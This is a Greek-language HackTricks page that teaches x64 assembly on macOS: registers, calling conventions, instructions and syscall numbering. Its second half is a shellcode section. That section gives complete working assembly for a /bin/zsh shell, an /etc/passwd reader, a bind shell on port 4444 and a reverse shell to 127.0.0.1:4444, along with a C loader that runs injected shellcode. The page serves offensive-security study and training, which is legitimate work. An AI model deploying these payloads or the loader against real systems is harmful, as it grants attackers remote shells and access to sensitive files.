Εισαγωγή στο x64

Reading time: 12 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εισαγωγή στο x64

x64, γνωστός και ως x86-64, είναι μια αρχιτεκτονική επεξεργαστή 64-bit που χρησιμοποιείται κυρίως σε υπολογιστές επιτραπέζιους και διακομιστές. Προέρχεται από την αρχιτεκτονική x86 που παράγεται από την Intel και αργότερα υιοθετήθηκε από την AMD με την ονομασία AMD64, είναι η κυρίαρχη αρχιτεκτονική στους προσωπικούς υπολογιστές και τους διακομιστές σήμερα.

Καταχωρητές

x64 επεκτείνει την αρχιτεκτονική x86, διαθέτοντας 16 γενικούς καταχωρητές που φέρουν τις ετικέτες rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, και r8 έως r15. Κάθε ένας από αυτούς μπορεί να αποθηκεύσει μια 64-bit (8-byte) τιμή. Αυτοί οι καταχωρητές διαθέτουν επίσης υποκαταχωρητές 32-bit, 16-bit και 8-bit για συμβατότητα και συγκεκριμένες εργασίες.

  1. rax - Παραδοσιακά χρησιμοποιείται για τιμές επιστροφής από συναρτήσεις.
  2. rbx - Συχνά χρησιμοποιείται ως βασικός καταχωρητής για λειτουργίες μνήμης.
  3. rcx - Συνήθως χρησιμοποιείται για μετρητές βρόχων.
  4. rdx - Χρησιμοποιείται σε διάφορους ρόλους, συμπεριλαμβανομένων των επεκταμένων αριθμητικών λειτουργιών.
  5. rbp - Βασικός δείκτης για το πλαίσιο της στοίβας.
  6. rsp - Δείκτης στοίβας, παρακολουθεί την κορυφή της στοίβας.
  7. rsi και rdi - Χρησιμοποιούνται για δείκτες πηγής και προορισμού σε λειτουργίες συμβολοσειρών/μνήμης.
  8. r8 έως r15 - Πρόσθετοι γενικοί καταχωρητές που εισήχθησαν στο x64.

Σύμβαση Κλήσης

Η σύμβαση κλήσης x64 διαφέρει μεταξύ των λειτουργικών συστημάτων. Για παράδειγμα:

  • Windows: Οι πρώτες τέσσερις παραμέτρους μεταφέρονται στους καταχωρητές rcx, rdx, r8, και r9. Οι περαιτέρω παράμετροι τοποθετούνται στη στοίβα. Η τιμή επιστροφής είναι στον rax.
  • System V (συνήθως χρησιμοποιούμενη σε συστήματα τύπου UNIX): Οι πρώτες έξι παραμέτρους ακέραιων ή δεικτών μεταφέρονται στους καταχωρητές rdi, rsi, rdx, rcx, r8, και r9. Η τιμή επιστροφής είναι επίσης στον rax.

Αν η συνάρτηση έχει περισσότερες από έξι εισόδους, οι υπόλοιπες θα μεταφερθούν στη στοίβα. RSP, ο δείκτης στοίβας, πρέπει να είναι ευθυγραμμισμένος σε 16 bytes, που σημαίνει ότι η διεύθυνση στην οποία δείχνει πρέπει να είναι διαιρετή του 16 πριν από οποιαδήποτε κλήση. Αυτό σημαίνει ότι κανονικά θα πρέπει να διασφαλίσουμε ότι το RSP είναι σωστά ευθυγραμμισμένο στον κώδικα μας πριν κάνουμε μια κλήση συνάρτησης. Ωστόσο, στην πράξη, οι κλήσεις συστήματος λειτουργούν πολλές φορές ακόμη και αν αυτή η απαίτηση δεν πληρούται.

Σύμβαση Κλήσης στο Swift

Το Swift έχει τη δική του σύμβαση κλήσης που μπορεί να βρεθεί στο https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Κοινές Εντολές

Οι εντολές x64 διαθέτουν ένα πλούσιο σύνολο, διατηρώντας τη συμβατότητα με τις προηγούμενες εντολές x86 και εισάγοντας νέες.

  • mov: Μετακίνηση μιας τιμής από έναν καταχωρητή ή θέση μνήμης σε άλλη.
  • Παράδειγμα: mov rax, rbx — Μετακινεί την τιμή από rbx στο rax.
  • push και pop: Πιέστε ή αφαιρέστε τιμές από/στην στοίβα.
  • Παράδειγμα: push rax — Πιέζει την τιμή στο rax στη στοίβα.
  • Παράδειγμα: pop rax — Αφαιρεί την κορυφαία τιμή από τη στοίβα στο rax.
  • add και sub: Λειτουργίες πρόσθεσης και αφαίρεσης.
  • Παράδειγμα: add rax, rcx — Προσθέτει τις τιμές στο rax και rcx, αποθηκεύοντας το αποτέλεσμα στο rax.
  • mul και div: Λειτουργίες πολλαπλασιασμού και διαίρεσης. Σημείωση: αυτές έχουν συγκεκριμένες συμπεριφορές σχετικά με τη χρήση των τελεστών.
  • call και ret: Χρησιμοποιούνται για κλήση και επιστροφή από συναρτήσεις.
  • int: Χρησιμοποιείται για να προκαλέσει μια διακοπή λογισμικού. Π.χ., int 0x80 χρησιμοποιήθηκε για κλήσεις συστήματος σε 32-bit x86 Linux.
  • cmp: Συγκρίνει δύο τιμές και ρυθμίζει τις σημαίες της CPU με βάση το αποτέλεσμα.
  • Παράδειγμα: cmp rax, rdx — Συγκρίνει το rax με το rdx.
  • je, jne, jl, jge, ...: Εντολές υπό όρους άλματος που αλλάζουν τη ροή ελέγχου με βάση τα αποτελέσματα μιας προηγούμενης cmp ή δοκιμής.
  • Παράδειγμα: Μετά από μια εντολή cmp rax, rdx, je label — Άλμα στο label αν το rax είναι ίσο με το rdx.
  • syscall: Χρησιμοποιείται για κλήσεις συστήματος σε ορισμένα συστήματα x64 (όπως οι σύγχρονοι Unix).
  • sysenter: Μια βελτιστοποιημένη εντολή κλήσης συστήματος σε ορισμένες πλατφόρμες.

Πρόλογος Συνάρτησης

  1. Πιέστε τον παλιό βασικό δείκτη: push rbp (αποθηκεύει τον βασικό δείκτη του καλούντος)
  2. Μετακινήστε τον τρέχοντα δείκτη στοίβας στον βασικό δείκτη: mov rbp, rsp (ρυθμίζει τον νέο βασικό δείκτη για την τρέχουσα συνάρτηση)
  3. Δημιουργήστε χώρο στη στοίβα για τοπικές μεταβλητές: sub rsp, <size> (όπου <size> είναι ο αριθμός των bytes που χρειάζονται)

Επίλογος Συνάρτησης

  1. Μετακινήστε τον τρέχοντα βασικό δείκτη στον δείκτη στοίβας: mov rsp, rbp (αποδεσμεύει τις τοπικές μεταβλητές)
  2. Αφαιρέστε τον παλιό βασικό δείκτη από τη στοίβα: pop rbp (αποκαθιστά τον βασικό δείκτη του καλούντος)
  3. Επιστροφή: ret (επιστρέφει τον έλεγχο στον καλούντα)

macOS

syscalls

Υπάρχουν διαφορετικές κατηγορίες syscalls, μπορείτε να τις βρείτε εδώ:

c
#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Τότε, μπορείτε να βρείτε κάθε αριθμό syscall σε αυτή τη διεύθυνση:

c
0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Έτσι, για να καλέσετε το open syscall (5) από την Unix/BSD class πρέπει να το προσθέσετε: 0x2000000

Έτσι, ο αριθμός syscall για να καλέσετε το open θα είναι 0x2000005

Shellcodes

Για να το μεταγλωττίσετε:

bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Για να εξαγάγετε τα bytes:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
Κώδικας C για τη δοκιμή του shellcode
c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Ληφθέν από εδώ και εξηγημένο.

armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Διαβάστε με cat

Ο στόχος είναι να εκτελέσουμε execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), έτσι ώστε το δεύτερο επιχείρημα (x1) να είναι ένας πίνακας παραμέτρων (που στη μνήμη σημαίνει μια στοίβα διευθύνσεων).

armasm
bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Εκτέλεση εντολής με sh

armasm
bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

Bind shell από https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html σε θύρα 4444

armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Reverse Shell

Reverse shell από https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Reverse shell σε 127.0.0.1:4444

armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks